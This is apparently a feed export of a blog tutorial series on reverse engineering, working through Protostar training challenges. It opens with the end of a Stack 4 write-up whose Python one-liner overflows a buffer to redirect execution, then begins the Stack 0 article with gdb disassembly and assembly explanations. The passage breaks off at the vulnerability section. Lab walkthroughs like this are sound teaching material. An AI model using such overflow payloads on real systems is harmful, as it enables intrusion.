&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; x win
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x80483f4 &amp;lt;win&amp;gt;: 0x83e58955
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; quit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$ python -c &lt;span style="color:#e6db74"&gt;&amp;#39;print &amp;#34;A&amp;#34;*76+&amp;#34;\xf4\x83\x04\x08&amp;#34;&amp;#39;&lt;/span&gt; | ./stack4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;code flow successfully changed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Segmentation fault
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="references--lessons-learnt"&gt;References / Lessons Learnt&lt;/h2&gt;
&lt;p&gt;In this article, we learnt:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Getting information about different sections of a program in gdb&lt;/li&gt;
&lt;li&gt;Searching for values in a section of the program through gdb&lt;/li&gt;
&lt;li&gt;Extending our knowledge of stack/buffer overflow to override program execution by manipulating return address (Also known as ROP or Return Oriented Programming attack)&lt;/li&gt;
&lt;li&gt;About stack frames and esp/ebp/eip registers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can refer to the below links for reading up more about some of the things discussed above. If you have any queries or suggestions, please leave a comment here or ping me &lt;a href="https://twitter.com/shantanugoel/"&gt;@shantanugoel&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Return-oriented_programming"&gt;Return Oriented Programming&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Function_prologue"&gt;Function Prologue&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames"&gt;Functions and Stack Frames&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>Practical Reverse Engineering Tutorials Part 1: Introduction &amp; Protostar Stack 0</title><link>https://shantanugoel.com/2017/11/16/practical-reverse-engineering-tutorial-1/</link><pubDate>Thu, 16 Nov 2017 08:46:24 +0530</pubDate><guid>https://shantanugoel.com/2017/11/16/practical-reverse-engineering-tutorial-1/</guid><description>&lt;h2 id="what-is-this-about"&gt;What is this about?&lt;/h2&gt;
&lt;p&gt;This article is the 1st part of the &lt;a href="https://shantanugoel.com/tags/practical-reverse-engineering-tutorial-series"&gt;Practical Reverse Engineering Tutorials&lt;/a&gt; series. This series is geared towards a structured, but almost completely practical, approach to learn Reverse Engineering. Many of the existing articles/books take a long winded approach to teach RE which is prefixed with a lot of theory before the reader can get their hands dirty. This series will take a different approach of picking up various challenges in the order of increasing difficulty and help the reader in exploring ways how to break them. I&amp;rsquo;ll try to keep mundane theory limited to the portions needed to beat the current challenge in consideration. Hopefully, this keeps the articles short, precise and interesting enough for readers to keep their attention span intact.&lt;/p&gt;</description><content>&lt;h2 id="what-is-this-about"&gt;What is this about?&lt;/h2&gt;
&lt;p&gt;This article is the 1st part of the &lt;a href="https://shantanugoel.com/tags/practical-reverse-engineering-tutorial-series"&gt;Practical Reverse Engineering Tutorials&lt;/a&gt; series. This series is geared towards a structured, but almost completely practical, approach to learn Reverse Engineering. Many of the existing articles/books take a long winded approach to teach RE which is prefixed with a lot of theory before the reader can get their hands dirty. This series will take a different approach of picking up various challenges in the order of increasing difficulty and help the reader in exploring ways how to break them. I&amp;rsquo;ll try to keep mundane theory limited to the portions needed to beat the current challenge in consideration. Hopefully, this keeps the articles short, precise and interesting enough for readers to keep their attention span intact.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;d like to believe that these articles will prove helpful to those who are completely new to the world of reverse engineering. But I hope that even intermediate level readers would be able to make use of these by picking up the articles according to their appropriate levels.&lt;/p&gt;
&lt;p&gt;Pre-requisite for these articles is basic knowledge of programming concepts, prefereably C. Any kind of prior experience with any assembly language is good but not mandatory.&lt;/p&gt;
&lt;p&gt;For any queries, suggestions or feedback, please leave a comment here or ping me &lt;a href="https://twitter.com/shantanugoel"&gt;@shantanugoel&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="exploit-exercises--protostar"&gt;Exploit Exercises / Protostar&lt;/h2&gt;
&lt;p&gt;For the first few articles of this series, we&amp;rsquo;ll work through some of the challenges from &lt;a href="https://exploit-exercises.com"&gt;Exploit Exercises&lt;/a&gt;, starting with &lt;a href="https://exploit-exercises.com/protostar/"&gt;Protostar&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note that although most of the challenges on exploit exercises provide source code of the challenge, we&amp;rsquo;d try to hack our way using purely reverse engineering as much as possible without looking at the source code. This would lead to better learning and avoid guiding you towards the solution pre-maturely. I strongly recommend that you do not look at the C source unless you&amp;rsquo;ve completed the below artcile fully or are not able to make connection to the assembly code at all after serious effort.&lt;/p&gt;
&lt;h2 id="setup"&gt;Setup&lt;/h2&gt;
&lt;p&gt;To create the setup, follow the below steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download the Protostar ISO file from &lt;a href="https://exploit-exercises.com/download/"&gt;https://exploit-exercises.com/download/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Download and install VMWare Workstation Player or VirtualBox&lt;/li&gt;
&lt;li&gt;Create a new virtual machine in the vm software you downloaded using the nebula ISO from the first step&lt;/li&gt;
&lt;li&gt;The iso is a live CD, so you can boot from it directly, instead of having to install it in the VM&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We&amp;rsquo;re all set now to begin&lt;/p&gt;
&lt;h2 id="stack-0"&gt;Stack 0&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://exploit-exercises.com/protostar/stack0/"&gt;Stack0&lt;/a&gt; is the first challenge in protostar.&lt;/p&gt;
&lt;h3 id="preparing-for-the-challenge"&gt;Preparing for the challenge&lt;/h3&gt;
&lt;p&gt;The webpage says that the challenge is located at &lt;code&gt;/opt/protostar/bin/stack0&lt;/code&gt;, so login to the VM and run this program. It looks like it is waiting for some input. On entering any data, it seems to tell us we were wrong with a message &lt;code&gt;Try again?&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$ ./stack0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;asd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Try again?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We run &lt;code&gt;strings&lt;/code&gt; command on the stack0 program to find out interesting text present in it, and see another one &lt;code&gt;you have changed the 'modified' variable&lt;/code&gt;, which seems to be our target.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$ strings stack0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/lib/ld-linux.so.2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;__gmon_start__
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;libc.so.6
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_IO_stdin_used
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gets
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;puts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;__libc_start_main
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GLIBC_2.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PTRh@
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;^_&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;you have changed the &lt;span style="color:#e6db74"&gt;&amp;#39;modified&amp;#39;&lt;/span&gt; variabley
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Try again?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="static-analysis"&gt;Static Analysis&lt;/h3&gt;
&lt;p&gt;Now that we know what we need to achieve, we start our reverse engineering by doing static analysis of the program. There are several utilities to look at the low level code of the program. However, we will be using &lt;code&gt;gdb&lt;/code&gt; here which can help us later in dynamic analysis as well. gdb or The GNU Project Debugger is a popular open source debugger. We&amp;rsquo;ll graduate to more powerful tools or use reverse engineering oriented plugins for gdb later, but for now a vanilla gdb will do. It is already installed in the protostar VM. A debugger allows us to examine the internal state of the program as it executes at instruction/register level.&lt;/p&gt;
&lt;p&gt;Some of the important commands that you&amp;rsquo;d use during the static analysis for this challenge are:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;set disassembly-flavor intel&lt;/code&gt;: While this is optional, but it allows to see the disassembled code in a more readable format.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;disassemble &amp;lt;function&amp;gt;&lt;/code&gt;: This command displays the disassembled code of &lt;code&gt;function&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You can read more about these commands at &lt;a href="https://sourceware.org/gdb/current/onlinedocs/gdb/"&gt;https://sourceware.org/gdb/current/onlinedocs/gdb/&lt;/a&gt; or &lt;a href="http://visualgdb.com/gdbreference/commands/"&gt;http://visualgdb.com/gdbreference/commands/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Using the above information, we load the &lt;code&gt;stack0&lt;/code&gt; executable in GDB and disassemble the function &lt;code&gt;main&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$ gdb stack0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GNU gdb &lt;span style="color:#f92672"&gt;(&lt;/span&gt;GDB&lt;span style="color:#f92672"&gt;)&lt;/span&gt; 7.0.1-debian
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Copyright &lt;span style="color:#f92672"&gt;(&lt;/span&gt;C&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2009&lt;/span&gt; Free Software Foundation, Inc.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;License GPLv3+: GNU GPL version &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;This is free software: you are free to change and redistribute it.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;There is NO WARRANTY, to the extent permitted by law. Type &lt;span style="color:#e6db74"&gt;&amp;#34;show copying&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;and &lt;span style="color:#e6db74"&gt;&amp;#34;show warranty&amp;#34;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; details.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;This GDB was configured as &lt;span style="color:#e6db74"&gt;&amp;#34;i486-linux-gnu&amp;#34;&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;For bug reporting instructions, please see:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;http://www.gnu.org/software/gdb/bugs/&amp;gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Reading symbols from /opt/protostar/bin/stack0...done.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; set disassembly-flavor intel
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; disassemble main
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dump of assembler code &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; main:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x080483f4 &amp;lt;main+0&amp;gt;: push ebp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x080483f5 &amp;lt;main+1&amp;gt;: mov ebp,esp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x080483f7 &amp;lt;main+3&amp;gt;: and esp,0xfffffff0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x080483fa &amp;lt;main+6&amp;gt;: sub esp,0x60
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x080483fd &amp;lt;main+9&amp;gt;: mov DWORD PTR &lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp+0x5c&lt;span style="color:#f92672"&gt;]&lt;/span&gt;,0x0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048405 &amp;lt;main+17&amp;gt;: lea eax,&lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp+0x1c&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048409 &amp;lt;main+21&amp;gt;: mov DWORD PTR &lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp&lt;span style="color:#f92672"&gt;]&lt;/span&gt;,eax
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x0804840c &amp;lt;main+24&amp;gt;: call 0x804830c &amp;lt;gets@plt&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048411 &amp;lt;main+29&amp;gt;: mov eax,DWORD PTR &lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp+0x5c&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048415 &amp;lt;main+33&amp;gt;: test eax,eax
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048417 &amp;lt;main+35&amp;gt;: je 0x8048427 &amp;lt;main+51&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048419 &amp;lt;main+37&amp;gt;: mov DWORD PTR &lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp&lt;span style="color:#f92672"&gt;]&lt;/span&gt;,0x8048500
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048420 &amp;lt;main+44&amp;gt;: call 0x804832c &amp;lt;puts@plt&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048425 &amp;lt;main+49&amp;gt;: jmp 0x8048433 &amp;lt;main+63&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048427 &amp;lt;main+51&amp;gt;: mov DWORD PTR &lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp&lt;span style="color:#f92672"&gt;]&lt;/span&gt;,0x8048529
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x0804842e &amp;lt;main+58&amp;gt;: call 0x804832c &amp;lt;puts@plt&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048433 &amp;lt;main+63&amp;gt;: leave
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048434 &amp;lt;main+64&amp;gt;: ret
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;End of assembler dump.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="making-sense-of-the-assembly-code"&gt;Making sense of the assembly code&lt;/h4&gt;
&lt;p&gt;Well, so we got a&amp;hellip;.big pile of gibberish? So, this is how assembly code looks like. Very different from a regular C program, as you can see. On the left side, you can see the memory addresses where a particular instruction is present and on the right side the instruction. Each instruction is again composed of two parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The instruction itself&lt;/li&gt;
&lt;li&gt;0 or more operands (which can be addresses or registers with some specific formatting that we will learn as we encounter it)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now, although this is a small enough program, as good reverse engineers, we rarely go through the whole program immediately which would require us to know each assembly instruction as well as take a lot of time. So, instead we will make some intelligent guesses and look at only the instructions/code that we really need to know. Just know these basic things before moving forward:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Any instruction that works on some data either takes one or more addresses and/or registers as operands, which it operates on&lt;/li&gt;
&lt;li&gt;A register like eax is a basically a temporary/scratch memory close to the CPU for getting fast access to a data being used locally frequently&lt;/li&gt;
&lt;li&gt;There are few special registers. For current problem, know that ebp is the Stack Base pointer or the bottom of current stack frame, esp is the stack pointer or the current top of the stack, eip is the instruction pointer or the address of the instruction which is just about to be executed. We&amp;rsquo;ll learn more about the ebp/esp when we do a real stack overflow problem&lt;/li&gt;
&lt;li&gt;A square bracket &lt;code&gt;[]&lt;/code&gt; around a address or register signifies that the instruction refers to the value present in that address/register as the source or destination of the operation instead of the address/register itself.&lt;/li&gt;
&lt;li&gt;For most operations involving a source and destination operand, the left operand is the destination.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you face problem in understanding the below information and think you need to understand x86 assembly a bit more before moving forward, you can use this very short and simple guide for the same: &lt;a href="https://www.cs.virginia.edu/~evans/cs216/guides/x86.html"&gt;https://www.cs.virginia.edu/~evans/cs216/guides/x86.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Many times, my first intuition is to find out the areas in code which lead to our success/failure cases and work backwards from there. From our preparation phase, we saw that the failure case printed a message &lt;code&gt;Try again?&lt;/code&gt; on the screen and the success case was potentially a message &lt;code&gt;you have changed the 'modified' variable&lt;/code&gt;. Skimming over the code quickly, you will notice 3 peculiar statements that you may already be familiar from your C programming.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x0804840c &amp;lt;main+24&amp;gt;: call 0x804830c &amp;lt;gets@plt&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048420 &amp;lt;main+44&amp;gt;: call 0x804832c &amp;lt;puts@plt&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x0804842e &amp;lt;main+58&amp;gt;: call 0x804832c &amp;lt;puts@plt&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you don&amp;rsquo;t remember what &lt;code&gt;gets&lt;/code&gt; and &lt;code&gt;puts&lt;/code&gt; do, you can look at their descriptions from their manpages (e.g. &lt;code&gt;man puts&lt;/code&gt;). In brief, &lt;code&gt;gets&lt;/code&gt; allows you to capture user input from stdin and &lt;code&gt;puts&lt;/code&gt; allows you to print output to stdout to display to the user. This matches with our observations in the previous section that it waited for user input when we ran the program and gave an error message on receiving the input. We also saw a 2nd string which was potentially the success message. So we have 1 gets and 2 puts statements corresponding to this, but we don&amp;rsquo;t know yet which one of the 2 puts statements is the success part and which one is the failure part.&lt;/p&gt;
&lt;p&gt;Anyways, we start moving a bit backwards from the first puts statement and try to make sense of each instruction:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048420 &amp;lt;main+44&amp;gt;: call 0x804832c &amp;lt;puts@plt&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here, the &lt;code&gt;call&lt;/code&gt; instruction refers to calling a function specified by the address 0x804832c. The string inside &amp;lt;&amp;gt; is the disassembler telling you the symbol name associated with that address.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048419 &amp;lt;main+37&amp;gt;: mov DWORD PTR &lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp&lt;span style="color:#f92672"&gt;]&lt;/span&gt;,0x8048500
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here, the &lt;code&gt;mov&lt;/code&gt; instruction is moving the value 0x8048500 into the address pointed by the register esp. The X86 calling convention puts the arguments to a function onto the stack before calling it and here the esp is the &amp;ldquo;Stack pointer&amp;rdquo; register. So, this must be the address of the string being passed to puts that it must print. Keep this address 0x8048500 in mind for our next section (Dynamic Analysis).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048411 &amp;lt;main+29&amp;gt;: mov eax,DWORD PTR &lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp+0x5c&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048415 &amp;lt;main+33&amp;gt;: test eax,eax
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048417 &amp;lt;main+35&amp;gt;: je 0x8048427 &amp;lt;main+51&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here we see that first we move some data from the address esp + 0x5c into eax. then the &lt;code&gt;test&lt;/code&gt; instruction checks whether eax is zero or not. It does this by AND&amp;rsquo;ing the left and right operand. Since eax is the left as well as the right operand, the AND result will be zero only if eax is zero. Then the &lt;code&gt;je&lt;/code&gt; (or jump if equal to) instruction will jump the program execution to the address 0x8048427 (i.e. it will skip the first puts statement and start executing near our 2nd puts statement) if eax was zero. Otherwise it will execute the first puts statement. It decides the &amp;ldquo;equal to&amp;rdquo; condition by looking at an internal flag called Zero Flag (or Z or ZF) and treats equals condition to be true if this flag is set. This is because a &lt;code&gt;test&lt;/code&gt; or a &lt;code&gt;cmp&lt;/code&gt; (compare) instruction will set the ZF to 1 if result of the AND of 2 operands (in case of test) or difference of 2 operands (in case of cmp) was 0.&lt;/p&gt;
&lt;p&gt;This seems like our decision maker code as if we can manipulate the value at [esp+0x5c] then we can control the flow of the program to either of the puts statements. So, let&amp;rsquo;s keep this address in mind for our dynamic analysis.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048405 &amp;lt;main+17&amp;gt;: lea eax,&lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp+0x1c&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048409 &amp;lt;main+21&amp;gt;: mov DWORD PTR &lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp&lt;span style="color:#f92672"&gt;]&lt;/span&gt;,eax
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x0804840c &amp;lt;main+24&amp;gt;: call 0x804830c &amp;lt;gets@plt&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally we reach the user input call. &lt;code&gt;lea&lt;/code&gt; instruction means &amp;ldquo;Load effective address&amp;rdquo;. It is a slightly tricky instruction in the sense that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;it does the calculations only on the right side operand, not both and then stores the result in left operand&lt;/li&gt;
&lt;li&gt;the square brackets [] don&amp;rsquo;t really refer to the meaning that we know from other instructions (i.e. you dont need to find out further the value present at calculated address and can just ignore the [])&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Combining this knowledge with the semantics of mov/call that we learnt earlier, we know that the program is collecting the user input and storing that into a location starting at esp+0x1c.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x080483fd &amp;lt;main+9&amp;gt;: mov DWORD PTR &lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp+0x5c&lt;span style="color:#f92672"&gt;]&lt;/span&gt;,0x0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then we come to this instruction which looks a bit familiar to us because we&amp;rsquo;ve already seen that address esp+0x5c earlier. So, this seems like the initialization statement for a variable which is set to 0 and then later checked whether it is still 0 or not.&lt;/p&gt;
&lt;h3 id="the-vulnerability"&gt;The vulnerability&lt;/h3&gt;
&lt;p&gt;Our task then is to make this variable (at location esp+0x5c) 0 or non-zero depending on what do the 2 puts statements do. The only access to influence the program we have is through the input we can give to &lt;code&gt;gets&lt;/code&gt;. Hmm, so we dig deeper into the gets manpage and we see below:&lt;/p&gt;
